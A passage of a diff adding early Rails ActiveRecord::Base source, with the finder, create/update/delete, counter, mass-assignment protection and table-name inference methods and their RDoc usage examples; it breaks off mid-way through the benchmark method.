+      #   conditions or merely an order. If no record can be matched, +nil+ is returned. Use
+      #   <tt>Model.find(:last, *args)</tt> or its shortcut <tt>Model.last(*args)</tt>.
+      # * Find all - This will return all the records matched by the options used.
+      #   If no records are found, an empty array is returned. Use
+      #   <tt>Model.find(:all, *args)</tt> or its shortcut <tt>Model.all(*args)</tt>.
+      #
+      # All approaches accept an options hash as their last parameter.
+      #
+      # ==== Parameters
+      #
+      # * <tt>:conditions</tt> - An SQL fragment like "administrator = 1", <tt>[ "user_name = ?", username ]</tt>, or <tt>["user_name = :user_name", { :user_name => user_name }]</tt>. See conditions in the intro.
+      # * <tt>:order</tt> - An SQL fragment like "created_at DESC, name".
+      # * <tt>:group</tt> - An attribute name by which the result should be grouped. Uses the <tt>GROUP BY</tt> SQL-clause.
+      # * <tt>:limit</tt> - An integer determining the limit on the number of rows that should be returned.
+      # * <tt>:offset</tt> - An integer determining the offset from where the rows should be fetched. So at 5, it would skip rows 0 through 4.
+      # * <tt>:joins</tt> - Either an SQL fragment for additional joins like "LEFT JOIN comments ON comments.post_id = id" (rarely needed)
+      #   or named associations in the same form used for the <tt>:include</tt> option, which will perform an <tt>INNER JOIN</tt> on the associated table(s).
+      #   If the value is a string, then the records will be returned read-only since they will have attributes that do not correspond to the table's columns.
+      #   Pass <tt>:readonly => false</tt> to override.
+      # * <tt>:include</tt> - Names associations that should be loaded alongside. The symbols named refer
+      #   to already defined associations. See eager loading under Associations.
+      # * <tt>:select</tt> - By default, this is "*" as in "SELECT * FROM", but can be changed if you, for example, want to do a join but not
+      #   include the joined columns. Takes a string with the SELECT SQL fragment (e.g. "id, name").
+      # * <tt>:from</tt> - By default, this is the table name of the class, but can be changed to an alternate table name (or even the name
+      #   of a database view).
+      # * <tt>:readonly</tt> - Mark the returned records read-only so they cannot be saved or updated.
+      # * <tt>:lock</tt> - An SQL fragment like "FOR UPDATE" or "LOCK IN SHARE MODE".
+      #   <tt>:lock => true</tt> gives connection's default exclusive lock, usually "FOR UPDATE".
+      #
+      # ==== Examples
+      #
+      #   # find by id
+      #   Person.find(1)       # returns the object for ID = 1
+      #   Person.find(1, 2, 6) # returns an array for objects with IDs in (1, 2, 6)
+      #   Person.find([7, 17]) # returns an array for objects with IDs in (7, 17)
+      #   Person.find([1])     # returns an array for the object with ID = 1
+      #   Person.find(1, :conditions => "administrator = 1", :order => "created_on DESC")
+      #
+      # Note that returned records may not be in the same order as the ids you
+      # provide since database rows are unordered. Give an explicit <tt>:order</tt>
+      # to ensure the results are sorted.
+      #
+      # ==== Examples
+      #
+      #   # find first
+      #   Person.find(:first) # returns the first object fetched by SELECT * FROM people
+      #   Person.find(:first, :conditions => [ "user_name = ?", user_name])
+      #   Person.find(:first, :conditions => [ "user_name = :u", { :u => user_name }])
+      #   Person.find(:first, :order => "created_on DESC", :offset => 5)
+      #
+      #   # find last
+      #   Person.find(:last) # returns the last object fetched by SELECT * FROM people
+      #   Person.find(:last, :conditions => [ "user_name = ?", user_name])
+      #   Person.find(:last, :order => "created_on DESC", :offset => 5)
+      #
+      #   # find all
+      #   Person.find(:all) # returns an array of objects for all the rows fetched by SELECT * FROM people
+      #   Person.find(:all, :conditions => [ "category IN (?)", categories], :limit => 50)
+      #   Person.find(:all, :conditions => { :friends => ["Bob", "Steve", "Fred"] }
+      #   Person.find(:all, :offset => 10, :limit => 10)
+      #   Person.find(:all, :include => [ :account, :friends ])
+      #   Person.find(:all, :group => "category")
+      #
+      # Example for find with a lock: Imagine two concurrent transactions:
+      # each will read <tt>person.visits == 2</tt>, add 1 to it, and save, resulting
+      # in two saves of <tt>person.visits = 3</tt>.  By locking the row, the second
+      # transaction has to wait until the first is finished; we get the
+      # expected <tt>person.visits == 4</tt>.
+      #
+      #   Person.transaction do
+      #     person = Person.find(1, :lock => true)
+      #     person.visits += 1
+      #     person.save!
+      #   end
+      def find(*args)
+        options = args.extract_options!
+        validate_find_options(options)
+        set_readonly_option!(options)
+
+        case args.first
+          when :first then find_initial(options)
+          when :last  then find_last(options)
+          when :all   then find_every(options)
+          else             find_from_ids(args, options)
+        end
+      end
+
+      # A convenience wrapper for <tt>find(:first, *args)</tt>. You can pass in all the
+      # same arguments to this method as you can to <tt>find(:first)</tt>.
+      def first(*args)
+        find(:first, *args)
+      end
+
+      # A convenience wrapper for <tt>find(:last, *args)</tt>. You can pass in all the
+      # same arguments to this method as you can to <tt>find(:last)</tt>.
+      def last(*args)
+        find(:last, *args)
+      end
+
+      # This is an alias for find(:all).  You can pass in all the same arguments to this method as you can
+      # to find(:all)
+      def all(*args)
+        find(:all, *args)
+      end
+
+      # Executes a custom SQL query against your database and returns all the results.  The results will
+      # be returned as an array with columns requested encapsulated as attributes of the model you call
+      # this method from.  If you call <tt>Product.find_by_sql</tt> then the results will be returned in
+      # a Product object with the attributes you specified in the SQL query.
+      #
+      # If you call a complicated SQL query which spans multiple tables the columns specified by the
+      # SELECT will be attributes of the model, whether or not they are columns of the corresponding
+      # table.
+      #
+      # The +sql+ parameter is a full SQL query as a string.  It will be called as is, there will be
+      # no database agnostic conversions performed.  This should be a last resort because using, for example,
+      # MySQL specific terms will lock you to using that particular database engine or require you to
+      # change your call if you switch engines.
+      #
+      # ==== Examples
+      #   # A simple SQL query spanning multiple tables
+      #   Post.find_by_sql "SELECT p.title, c.author FROM posts p, comments c WHERE p.id = c.post_id"
+      #   > [#<Post:0x36bff9c @attributes={"title"=>"Ruby Meetup", "first_name"=>"Quentin"}>, ...]
+      #
+      #   # You can use the same string replacement techniques as you can with ActiveRecord#find
+      #   Post.find_by_sql ["SELECT title FROM posts WHERE author = ? AND created > ?", author_id, start_date]
+      #   > [#<Post:0x36bff9c @attributes={"first_name"=>"The Cheap Man Buys Twice"}>, ...]
+      def find_by_sql(sql)
+        connection.select_all(sanitize_sql(sql), "#{name} Load").collect! { |record| instantiate(record) }
+      end
+
+      # Checks whether a record exists in the database that matches conditions given.  These conditions
+      # can either be a single integer representing a primary key id to be found, or a condition to be
+      # matched like using ActiveRecord#find.
+      #
+      # The +id_or_conditions+ parameter can be an Integer or a String if you want to search the primary key
+      # column of the table for a matching id, or if you're looking to match against a condition you can use
+      # an Array or a Hash.
+      #
+      # Possible gotcha: You can't pass in a condition as a string e.g. "name = 'Jamie'", this would be
+      # sanitized and then queried against the primary key column as "id = 'name = \'Jamie"
+      #
+      # ==== Examples
+      #   Person.exists?(5)
+      #   Person.exists?('5')
+      #   Person.exists?(:name => "David")
+      #   Person.exists?(['name LIKE ?', "%#{query}%"])
+      def exists?(id_or_conditions)
+        connection.select_all(
+          construct_finder_sql(
+            :select     => "#{quoted_table_name}.#{primary_key}",
+            :conditions => expand_id_conditions(id_or_conditions),
+            :limit      => 1
+          ),
+          "#{name} Exists"
+        ).size > 0
+      end
+
+      # Creates an object (or multiple objects) and saves it to the database, if validations pass.
+      # The resulting object is returned whether the object was saved successfully to the database or not.
+      #
+      # The +attributes+ parameter can be either be a Hash or an Array of Hashes.  These Hashes describe the
+      # attributes on the objects that are to be created.
+      #
+      # ==== Examples
+      #   # Create a single new object
+      #   User.create(:first_name => 'Jamie')
+      #
+      #   # Create an Array of new objects
+      #   User.create([{ :first_name => 'Jamie' }, { :first_name => 'Jeremy' }])
+      #
+      #   # Create a single object and pass it into a block to set other attributes.
+      #   User.create(:first_name => 'Jamie') do |u|
+      #     u.is_admin = false
+      #   end
+      #
+      #   # Creating an Array of new objects using a block, where the block is executed for each object:
+      #   User.create([{ :first_name => 'Jamie' }, { :first_name => 'Jeremy' }]) do |u|
+      #     u.is_admin = false
+      #   end
+      def create(attributes = nil, &block)
+        if attributes.is_a?(Array)
+          attributes.collect { |attr| create(attr, &block) }
+        else
+          object = new(attributes)
+          yield(object) if block_given?
+          object.save
+          object
+        end
+      end
+
+      # Updates an object (or multiple objects) and saves it to the database, if validations pass.
+      # The resulting object is returned whether the object was saved successfully to the database or not.
+      #
+      # ==== Parameters
+      #
+      # * +id+ - This should be the id or an array of ids to be updated.
+      # * +attributes+ - This should be a Hash of attributes to be set on the object, or an array of Hashes.
+      #
+      # ==== Examples
+      #
+      #   # Updating one record:
+      #   Person.update(15, { :user_name => 'Samuel', :group => 'expert' })
+      #
+      #   # Updating multiple records:
+      #   people = { 1 => { "first_name" => "David" }, 2 => { "first_name" => "Jeremy" } }
+      #   Person.update(people.keys, people.values)
+      def update(id, attributes)
+        if id.is_a?(Array)
+          idx = -1
+          id.collect { |one_id| idx += 1; update(one_id, attributes[idx]) }
+        else
+          object = find(id)
+          object.update_attributes(attributes)
+          object
+        end
+      end
+
+      # Delete an object (or multiple objects) where the +id+ given matches the primary_key.  A SQL +DELETE+ command
+      # is executed on the database which means that no callbacks are fired off running this.  This is an efficient method
+      # of deleting records that don't need cleaning up after or other actions to be taken.
+      #
+      # Objects are _not_ instantiated with this method, and so +:dependent+ rules
+      # defined on associations are not honered.
+      #
+      # ==== Parameters
+      #
+      # * +id+ - Can be either an Integer or an Array of Integers.
+      #
+      # ==== Examples
+      #
+      #   # Delete a single object
+      #   Todo.delete(1)
+      #
+      #   # Delete multiple objects
+      #   todos = [1,2,3]
+      #   Todo.delete(todos)
+      def delete(id)
+        delete_all([ "#{connection.quote_column_name(primary_key)} IN (?)", id ])
+      end
+
+      # Destroy an object (or multiple objects) that has the given id, the object is instantiated first,
+      # therefore all callbacks and filters are fired off before the object is deleted.  This method is
+      # less efficient than ActiveRecord#delete but allows cleanup methods and other actions to be run.
+      #
+      # This essentially finds the object (or multiple objects) with the given id, creates a new object
+      # from the attributes, and then calls destroy on it.
+      #
+      # ==== Parameters
+      #
+      # * +id+ - Can be either an Integer or an Array of Integers.
+      #
+      # ==== Examples
+      #
+      #   # Destroy a single object
+      #   Todo.destroy(1)
+      #
+      #   # Destroy multiple objects
+      #   todos = [1,2,3]
+      #   Todo.destroy(todos)
+      def destroy(id)
+        if id.is_a?(Array)
+          id.map { |one_id| destroy(one_id) }
+        else
+          find(id).destroy
+        end
+      end
+
+      # Updates all records with details given if they match a set of conditions supplied, limits and order can
+      # also be supplied. This method constructs a single SQL UPDATE statement and sends it straight to the
+      # database. It does not instantiate the involved models and it does not trigger Active Record callbacks.
+      #
+      # ==== Parameters
+      #
+      # * +updates+ - A string of column and value pairs that will be set on any records that match conditions.
+      #               What goes into the SET clause.
+      # * +conditions+ - An SQL fragment like "administrator = 1" or [ "user_name = ?", username ]. See conditions in the intro for more info.
+      # * +options+ - Additional options are <tt>:limit</tt> and <tt>:order</tt>, see the examples for usage.
+      #
+      # ==== Examples
+      #
+      #   # Update all billing objects with the 3 different attributes given
+      #   Billing.update_all( "category = 'authorized', approved = 1, author = 'David'" )
+      #
+      #   # Update records that match our conditions
+      #   Billing.update_all( "author = 'David'", "title LIKE '%Rails%'" )
+      #
+      #   # Update records that match our conditions but limit it to 5 ordered by date
+      #   Billing.update_all( "author = 'David'", "title LIKE '%Rails%'",
+      #                         :order => 'created_at', :limit => 5 )
+      def update_all(updates, conditions = nil, options = {})
+        sql  = "UPDATE #{quoted_table_name} SET #{sanitize_sql_for_assignment(updates)} "
+
+        scope = scope(:find)
+
+        select_sql = ""
+        add_conditions!(select_sql, conditions, scope)
+
+        if options.has_key?(:limit) || (scope && scope[:limit])
+          # Only take order from scope if limit is also provided by scope, this
+          # is useful for updating a has_many association with a limit.
+          add_order!(select_sql, options[:order], scope)
+
+          add_limit!(select_sql, options, scope)
+          sql.concat(connection.limited_update_conditions(select_sql, quoted_table_name, connection.quote_column_name(primary_key)))
+        else
+          add_order!(select_sql, options[:order], nil)
+          sql.concat(select_sql)
+        end
+
+        connection.update(sql, "#{name} Update")
+      end
+
+      # Destroys the records matching +conditions+ by instantiating each record and calling their +destroy+ method.
+      # This means at least 2*N database queries to destroy N records, so avoid +destroy_all+ if you are deleting
+      # many records. If you want to simply delete records without worrying about dependent associations or
+      # callbacks, use the much faster +delete_all+ method instead.
+      #
+      # ==== Parameters
+      #
+      # * +conditions+ - Conditions are specified the same way as with +find+ method.
+      #
+      # ==== Example
+      #
+      #   Person.destroy_all("last_login < '2004-04-04'")
+      #
+      # This loads and destroys each person one by one, including its dependent associations and before_ and
+      # after_destroy callbacks.
+      #
+      # +conditions+ can be anything that +find+ also accepts:
+      #
+      #   Person.destroy_all(:last_login => 6.hours.ago)
+      def destroy_all(conditions = nil)
+        find(:all, :conditions => conditions).each { |object| object.destroy }
+      end
+
+      # Deletes the records matching +conditions+ without instantiating the records first, and hence not
+      # calling the +destroy+ method nor invoking callbacks. This is a single SQL DELETE statement that
+      # goes straight to the database, much more efficient than +destroy_all+. Be careful with relations
+      # though, in particular <tt>:dependent</tt> rules defined on associations are not honored.
+      #
+      # ==== Parameters
+      #
+      # * +conditions+ - Conditions are specified the same way as with +find+ method.
+      #
+      # ==== Example
+      #
+      #   Post.delete_all("person_id = 5 AND (category = 'Something' OR category = 'Else')")
+      #   Post.delete_all(["person_id = ? AND (category = ? OR category = ?)", 5, 'Something', 'Else'])
+      #
+      # Both calls delete the affected posts all at once with a single DELETE statement. If you need to destroy dependent
+      # associations or call your <tt>before_*</tt> or +after_destroy+ callbacks, use the +destroy_all+ method instead.
+      def delete_all(conditions = nil)
+        sql = "DELETE FROM #{quoted_table_name} "
+        add_conditions!(sql, conditions, scope(:find))
+        connection.delete(sql, "#{name} Delete all")
+      end
+
+      # Returns the result of an SQL statement that should only include a COUNT(*) in the SELECT part.
+      # The use of this method should be restricted to complicated SQL queries that can't be executed
+      # using the ActiveRecord::Calculations class methods.  Look into those before using this.
+      #
+      # ==== Parameters
+      #
+      # * +sql+ - An SQL statement which should return a count query from the database, see the example below.
+      #
+      # ==== Examples
+      #
+      #   Product.count_by_sql "SELECT COUNT(*) FROM sales s, customers c WHERE s.customer_id = c.id"
+      def count_by_sql(sql)
+        sql = sanitize_conditions(sql)
+        connection.select_value(sql, "#{name} Count").to_i
+      end
+
+      # A generic "counter updater" implementation, intended primarily to be
+      # used by increment_counter and decrement_counter, but which may also
+      # be useful on its own. It simply does a direct SQL update for the record
+      # with the given ID, altering the given hash of counters by the amount
+      # given by the corresponding value:
+      #
+      # ==== Parameters
+      #
+      # * +id+ - The id of the object you wish to update a counter on.
+      # * +counters+ - An Array of Hashes containing the names of the fields
+      #   to update as keys and the amount to update the field by as values.
+      #
+      # ==== Examples
+      #
+      #   # For the Post with id of 5, decrement the comment_count by 1, and
+      #   # increment the action_count by 1
+      #   Post.update_counters 5, :comment_count => -1, :action_count => 1
+      #   # Executes the following SQL:
+      #   # UPDATE posts
+      #   #    SET comment_count = comment_count - 1,
+      #   #        action_count = action_count + 1
+      #   #  WHERE id = 5
+      def update_counters(id, counters)
+        updates = counters.inject([]) { |list, (counter_name, increment)|
+          sign = increment < 0 ? "-" : "+"
+          list << "#{connection.quote_column_name(counter_name)} = COALESCE(#{connection.quote_column_name(counter_name)}, 0) #{sign} #{increment.abs}"
+        }.join(", ")
+        update_all(updates, "#{connection.quote_column_name(primary_key)} = #{quote_value(id)}")
+      end
+
+      # Increment a number field by one, usually representing a count.
+      #
+      # This is used for caching aggregate values, so that they don't need to be computed every time.
+      # For example, a DiscussionBoard may cache post_count and comment_count otherwise every time the board is
+      # shown it would have to run an SQL query to find how many posts and comments there are.
+      #
+      # ==== Parameters
+      #
+      # * +counter_name+ - The name of the field that should be incremented.
+      # * +id+ - The id of the object that should be incremented.
+      #
+      # ==== Examples
+      #
+      #   # Increment the post_count column for the record with an id of 5
+      #   DiscussionBoard.increment_counter(:post_count, 5)
+      def increment_counter(counter_name, id)
+        update_counters(id, counter_name => 1)
+      end
+
+      # Decrement a number field by one, usually representing a count.
+      #
+      # This works the same as increment_counter but reduces the column value by 1 instead of increasing it.
+      #
+      # ==== Parameters
+      #
+      # * +counter_name+ - The name of the field that should be decremented.
+      # * +id+ - The id of the object that should be decremented.
+      #
+      # ==== Examples
+      #
+      #   # Decrement the post_count column for the record with an id of 5
+      #   DiscussionBoard.decrement_counter(:post_count, 5)
+      def decrement_counter(counter_name, id)
+        update_counters(id, counter_name => -1)
+      end
+
+
+      # Attributes named in this macro are protected from mass-assignment,
+      # such as <tt>new(attributes)</tt>,
+      # <tt>update_attributes(attributes)</tt>, or
+      # <tt>attributes=(attributes)</tt>.
+      #
+      # Mass-assignment to these attributes will simply be ignored, to assign
+      # to them you can use direct writer methods. This is meant to protect
+      # sensitive attributes from being overwritten by malicious users
+      # tampering with URLs or forms.
+      #
+      #   class Customer < ActiveRecord::Base
+      #     attr_protected :credit_rating
+      #   end
+      #
+      #   customer = Customer.new("name" => David, "credit_rating" => "Excellent")
+      #   customer.credit_rating # => nil
+      #   customer.attributes = { "description" => "Jolly fellow", "credit_rating" => "Superb" }
+      #   customer.credit_rating # => nil
+      #
+      #   customer.credit_rating = "Average"
+      #   customer.credit_rating # => "Average"
+      #
+      # To start from an all-closed default and enable attributes as needed,
+      # have a look at +attr_accessible+.
+      def attr_protected(*attributes)
+        write_inheritable_attribute(:attr_protected, Set.new(attributes.map(&:to_s)) + (protected_attributes || []))
+      end
+
+      # Returns an array of all the attributes that have been protected from mass-assignment.
+      def protected_attributes # :nodoc:
+        read_inheritable_attribute(:attr_protected)
+      end
+
+      # Specifies a white list of model attributes that can be set via
+      # mass-assignment, such as <tt>new(attributes)</tt>,
+      # <tt>update_attributes(attributes)</tt>, or
+      # <tt>attributes=(attributes)</tt>
+      #
+      # This is the opposite of the +attr_protected+ macro: Mass-assignment
+      # will only set attributes in this list, to assign to the rest of
+      # attributes you can use direct writer methods. This is meant to protect
+      # sensitive attributes from being overwritten by malicious users
+      # tampering with URLs or forms. If you'd rather start from an all-open
+      # default and restrict attributes as needed, have a look at
+      # +attr_protected+.
+      #
+      #   class Customer < ActiveRecord::Base
+      #     attr_accessible :name, :nickname
+      #   end
+      #
+      #   customer = Customer.new(:name => "David", :nickname => "Dave", :credit_rating => "Excellent")
+      #   customer.credit_rating # => nil
+      #   customer.attributes = { :name => "Jolly fellow", :credit_rating => "Superb" }
+      #   customer.credit_rating # => nil
+      #
+      #   customer.credit_rating = "Average"
+      #   customer.credit_rating # => "Average"
+      def attr_accessible(*attributes)
+        write_inheritable_attribute(:attr_accessible, Set.new(attributes.map(&:to_s)) + (accessible_attributes || []))
+      end
+
+      # Returns an array of all the attributes that have been made accessible to mass-assignment.
+      def accessible_attributes # :nodoc:
+        read_inheritable_attribute(:attr_accessible)
+      end
+
+       # Attributes listed as readonly can be set for a new record, but will be ignored in database updates afterwards.
+       def attr_readonly(*attributes)
+         write_inheritable_attribute(:attr_readonly, Set.new(attributes.map(&:to_s)) + (readonly_attributes || []))
+       end
+
+       # Returns an array of all the attributes that have been specified as readonly.
+       def readonly_attributes
+         read_inheritable_attribute(:attr_readonly)
+       end
+
+      # If you have an attribute that needs to be saved to the database as an object, and retrieved as the same object,
+      # then specify the name of that attribute using this method and it will be handled automatically.
+      # The serialization is done through YAML. If +class_name+ is specified, the serialized object must be of that
+      # class on retrieval or SerializationTypeMismatch will be raised.
+      #
+      # ==== Parameters
+      #
+      # * +attr_name+ - The field name that should be serialized.
+      # * +class_name+ - Optional, class name that the object type should be equal to.
+      #
+      # ==== Example
+      #   # Serialize a preferences attribute
+      #   class User
+      #     serialize :preferences
+      #   end
+      def serialize(attr_name, class_name = Object)
+        serialized_attributes[attr_name.to_s] = class_name
+      end
+
+      # Returns a hash of all the attributes that have been specified for serialization as keys and their class restriction as values.
+      def serialized_attributes
+        read_inheritable_attribute(:attr_serialized) or write_inheritable_attribute(:attr_serialized, {})
+      end
+
+
+      # Guesses the table name (in forced lower-case) based on the name of the class in the inheritance hierarchy descending
+      # directly from ActiveRecord::Base. So if the hierarchy looks like: Reply < Message < ActiveRecord::Base, then Message is used
+      # to guess the table name even when called on Reply. The rules used to do the guess are handled by the Inflector class
+      # in Active Support, which knows almost all common English inflections. You can add new inflections in config/initializers/inflections.rb.
+      #
+      # Nested classes are given table names prefixed by the singular form of
+      # the parent's table name. Enclosing modules are not considered.
+      #
+      # ==== Examples
+      #
+      #   class Invoice < ActiveRecord::Base; end;
+      #   file                  class               table_name
+      #   invoice.rb            Invoice             invoices
+      #
+      #   class Invoice < ActiveRecord::Base; class Lineitem < ActiveRecord::Base; end; end;
+      #   file                  class               table_name
+      #   invoice.rb            Invoice::Lineitem   invoice_lineitems
+      #
+      #   module Invoice; class Lineitem < ActiveRecord::Base; end; end;
+      #   file                  class               table_name
+      #   invoice/lineitem.rb   Invoice::Lineitem   lineitems
+      #
+      # Additionally, the class-level +table_name_prefix+ is prepended and the
+      # +table_name_suffix+ is appended.  So if you have "myapp_" as a prefix,
+      # the table name guess for an Invoice class becomes "myapp_invoices".
+      # Invoice::Lineitem becomes "myapp_invoice_lineitems".
+      #
+      # You can also overwrite this class method to allow for unguessable
+      # links, such as a Mouse class with a link to a "mice" table. Example:
+      #
+      #   class Mouse < ActiveRecord::Base
+      #     set_table_name "mice"
+      #   end
+      def table_name
+        reset_table_name
+      end
+
+      def reset_table_name #:nodoc:
+        base = base_class
+
+        name =
+          # STI subclasses always use their superclass' table.
+          unless self == base
+            base.table_name
+          else
+            # Nested classes are prefixed with singular parent table name.
+            if parent < ActiveRecord::Base && !parent.abstract_class?
+              contained = parent.table_name
+              contained = contained.singularize if parent.pluralize_table_names
+              contained << '_'
+            end
+            name = "#{table_name_prefix}#{contained}#{undecorated_table_name(base.name)}#{table_name_suffix}"
+          end
+
+        set_table_name(name)
+        name
+      end
+
+      # Defines the primary key field -- can be overridden in subclasses. Overwriting will negate any effect of the
+      # primary_key_prefix_type setting, though.
+      def primary_key
+        reset_primary_key
+      end
+
+      def reset_primary_key #:nodoc:
+        key = get_primary_key(base_class.name)
+        set_primary_key(key)
+        key
+      end
+
+      def get_primary_key(base_name) #:nodoc:
+        key = 'id'
+        case primary_key_prefix_type
+          when :table_name
+            key = base_name.to_s.foreign_key(false)
+          when :table_name_with_underscore
+            key = base_name.to_s.foreign_key
+        end
+        key
+      end
+
+      # Defines the column name for use with single table inheritance
+      # -- can be set in subclasses like so: self.inheritance_column = "type_id"
+      def inheritance_column
+        @inheritance_column ||= "type".freeze
+      end
+
+      # Lazy-set the sequence name to the connection's default.  This method
+      # is only ever called once since set_sequence_name overrides it.
+      def sequence_name #:nodoc:
+        reset_sequence_name
+      end
+
+      def reset_sequence_name #:nodoc:
+        default = connection.default_sequence_name(table_name, primary_key)
+        set_sequence_name(default)
+        default
+      end
+
+      # Sets the table name to use to the given value, or (if the value
+      # is nil or false) to the value returned by the given block.
+      #
+      #   class Project < ActiveRecord::Base
+      #     set_table_name "project"
+      #   end
+      def set_table_name(value = nil, &block)
+        define_attr_method :table_name, value, &block
+      end
+      alias :table_name= :set_table_name
+
+      # Sets the name of the primary key column to use to the given value,
+      # or (if the value is nil or false) to the value returned by the given
+      # block.
+      #
+      #   class Project < ActiveRecord::Base
+      #     set_primary_key "sysid"
+      #   end
+      def set_primary_key(value = nil, &block)
+        define_attr_method :primary_key, value, &block
+      end
+      alias :primary_key= :set_primary_key
+
+      # Sets the name of the inheritance column to use to the given value,
+      # or (if the value # is nil or false) to the value returned by the
+      # given block.
+      #
+      #   class Project < ActiveRecord::Base
+      #     set_inheritance_column do
+      #       original_inheritance_column + "_id"
+      #     end
+      #   end
+      def set_inheritance_column(value = nil, &block)
+        define_attr_method :inheritance_column, value, &block
+      end
+      alias :inheritance_column= :set_inheritance_column
+
+      # Sets the name of the sequence to use when generating ids to the given
+      # value, or (if the value is nil or false) to the value returned by the
+      # given block. This is required for Oracle and is useful for any
+      # database which relies on sequences for primary key generation.
+      #
+      # If a sequence name is not explicitly set when using Oracle or Firebird,
+      # it will default to the commonly used pattern of: #{table_name}_seq
+      #
+      # If a sequence name is not explicitly set when using PostgreSQL, it
+      # will discover the sequence corresponding to your primary key for you.
+      #
+      #   class Project < ActiveRecord::Base
+      #     set_sequence_name "projectseq"   # default would have been "project_seq"
+      #   end
+      def set_sequence_name(value = nil, &block)
+        define_attr_method :sequence_name, value, &block
+      end
+      alias :sequence_name= :set_sequence_name
+
+      # Turns the +table_name+ back into a class name following the reverse rules of +table_name+.
+      def class_name(table_name = table_name) # :nodoc:
+        # remove any prefix and/or suffix from the table name
+        class_name = table_name[table_name_prefix.length..-(table_name_suffix.length + 1)].camelize
+        class_name = class_name.singularize if pluralize_table_names
+        class_name
+      end
+
+      # Indicates whether the table associated with this class exists
+      def table_exists?
+        connection.table_exists?(table_name)
+      end
+
+      # Returns an array of column objects for the table associated with this class.
+      def columns
+        unless defined?(@columns) && @columns
+          @columns = connection.columns(table_name, "#{name} Columns")
+          @columns.each { |column| column.primary = column.name == primary_key }
+        end
+        @columns
+      end
+
+      # Returns a hash of column objects for the table associated with this class.
+      def columns_hash
+        @columns_hash ||= columns.inject({}) { |hash, column| hash[column.name] = column; hash }
+      end
+
+      # Returns an array of column names as strings.
+      def column_names
+        @column_names ||= columns.map { |column| column.name }
+      end
+
+      # Returns an array of column objects where the primary id, all columns ending in "_id" or "_count",
+      # and columns used for single table inheritance have been removed.
+      def content_columns
+        @content_columns ||= columns.reject { |c| c.primary || c.name =~ /(_id|_count)$/ || c.name == inheritance_column }
+      end
+
+      # Returns a hash of all the methods added to query each of the columns in the table with the name of the method as the key
+      # and true as the value. This makes it possible to do O(1) lookups in respond_to? to check if a given method for attribute
+      # is available.
+      def column_methods_hash #:nodoc:
+        @dynamic_methods_hash ||= column_names.inject(Hash.new(false)) do |methods, attr|
+          attr_name = attr.to_s
+          methods[attr.to_sym]       = attr_name
+          methods["#{attr}=".to_sym] = attr_name
+          methods["#{attr}?".to_sym] = attr_name
+          methods["#{attr}_before_type_cast".to_sym] = attr_name
+          methods
+        end
+      end
+
+      # Resets all the cached information about columns, which will cause them
+      # to be reloaded on the next request.
+      #
+      # The most common usage pattern for this method is probably in a migration,
+      # when just after creating a table you want to populate it with some default
+      # values, eg:
+      #
+      #  class CreateJobLevels < ActiveRecord::Migration
+      #    def self.up
+      #      create_table :job_levels do |t|
+      #        t.integer :id
+      #        t.string :name
+      #
+      #        t.timestamps
+      #      end
+      #
+      #      JobLevel.reset_column_information
+      #      %w{assistant executive manager director}.each do |type|
+      #        JobLevel.create(:name => type)
+      #      end
+      #    end
+      #
+      #    def self.down
+      #      drop_table :job_levels
+      #    end
+      #  end
+      def reset_column_information
+        generated_methods.each { |name| undef_method(name) }
+        @column_names = @columns = @columns_hash = @content_columns = @dynamic_methods_hash = @generated_methods = @inheritance_column = nil
+      end
+
+      def reset_column_information_and_inheritable_attributes_for_all_subclasses#:nodoc:
+        subclasses.each { |klass| klass.reset_inheritable_attributes; klass.reset_column_information }
+      end
+
+      def self_and_descendents_from_active_record#nodoc:
+        klass = self
+        classes = [klass]
+        while klass != klass.base_class  
+          classes << klass = klass.superclass
+        end
+        classes
+      rescue
+        # OPTIMIZE this rescue is to fix this test: ./test/cases/reflection_test.rb:56:in `test_human_name_for_column'
+        # Appearantly the method base_class causes some trouble.
+        # It now works for sure.
+        [self]
+      end
+
+      # Transforms attribute key names into a more humane format, such as "First name" instead of "first_name". Example:
+      #   Person.human_attribute_name("first_name") # => "First name"
+      # This used to be depricated in favor of humanize, but is now preferred, because it automatically uses the I18n
+      # module now.
+      # Specify +options+ with additional translating options.
+      def human_attribute_name(attribute_key_name, options = {})
+        defaults = self_and_descendents_from_active_record.map do |klass|
+          :"#{klass.name.underscore}.#{attribute_key_name}"
+        end
+        defaults << options[:default] if options[:default]
+        defaults.flatten!
+        defaults << attribute_key_name.humanize
+        options[:count] ||= 1
+        I18n.translate(defaults.shift, options.merge(:default => defaults, :scope => [:activerecord, :attributes]))
+      end
+
+      # Transform the modelname into a more humane format, using I18n.
+      # Defaults to the basic humanize method.
+      # Default scope of the translation is activerecord.models
+      # Specify +options+ with additional translating options.
+      def human_name(options = {})
+        defaults = self_and_descendents_from_active_record.map do |klass|
+          :"#{klass.name.underscore}"
+        end 
+        defaults << self.name.humanize
+        I18n.translate(defaults.shift, {:scope => [:activerecord, :models], :count => 1, :default => defaults}.merge(options))
+      end
+
+      # True if this isn't a concrete subclass needing a STI type condition.
+      def descends_from_active_record?
+        if superclass.abstract_class?
+          superclass.descends_from_active_record?
+        else
+          superclass == Base || !columns_hash.include?(inheritance_column)
+        end
+      end
+
+      def finder_needs_type_condition? #:nodoc:
+        # This is like this because benchmarking justifies the strange :false stuff
+        :true == (@finder_needs_type_condition ||= descends_from_active_record? ? :false : :true)
+      end
+
+      # Returns a string like 'Post id:integer, title:string, body:text'
+      def inspect
+        if self == Base
+          super
+        elsif abstract_class?
+          "#{super}(abstract)"
+        elsif table_exists?
+          attr_list = columns.map { |c| "#{c.name}: #{c.type}" } * ', '
+          "#{super}(#{attr_list})"
+        else
+          "#{super}(Table doesn't exist)"
+        end
+      end
+
+
+      def quote_value(value, column = nil) #:nodoc:
+        connection.quote(value,column)
+      end
+
+      # Used to sanitize objects before they're used in an SQL SELECT statement. Delegates to <tt>connection.quote</tt>.
+      def sanitize(object) #:nodoc:
+        connection.quote(object)
+      end
+
+      # Log and benchmark multiple statements in a single block. Example:
+      #
+      #   Project.benchmark("Creating project") do
+      #     project = Project.create("name" => "stuff")
+      #     project.create_manager("name" => "David")
+      #     project.milestones << Milestone.find(:all)
+      #   end
+      #
+      # The benchmark is only recorded if the current level of the logger is less than or equal to the <tt>log_level</tt>,
+      # which makes it easy to include benchmarking statements in production software that will remain inexpensive because
+      # the benchmark will only be conducted if the log level is low enough.
+      #
+      # The logging of the multiple statements is turned off unless <tt>use_silence</tt> is set to false.
+      def benchmark(title, log_level = Logger::DEBUG, use_silence = true)
+        if logger && logger.level <= log_level
+          result = nil
+          seconds = Benchmark.realtime { result = use_silence ? silence { yield } : yield }
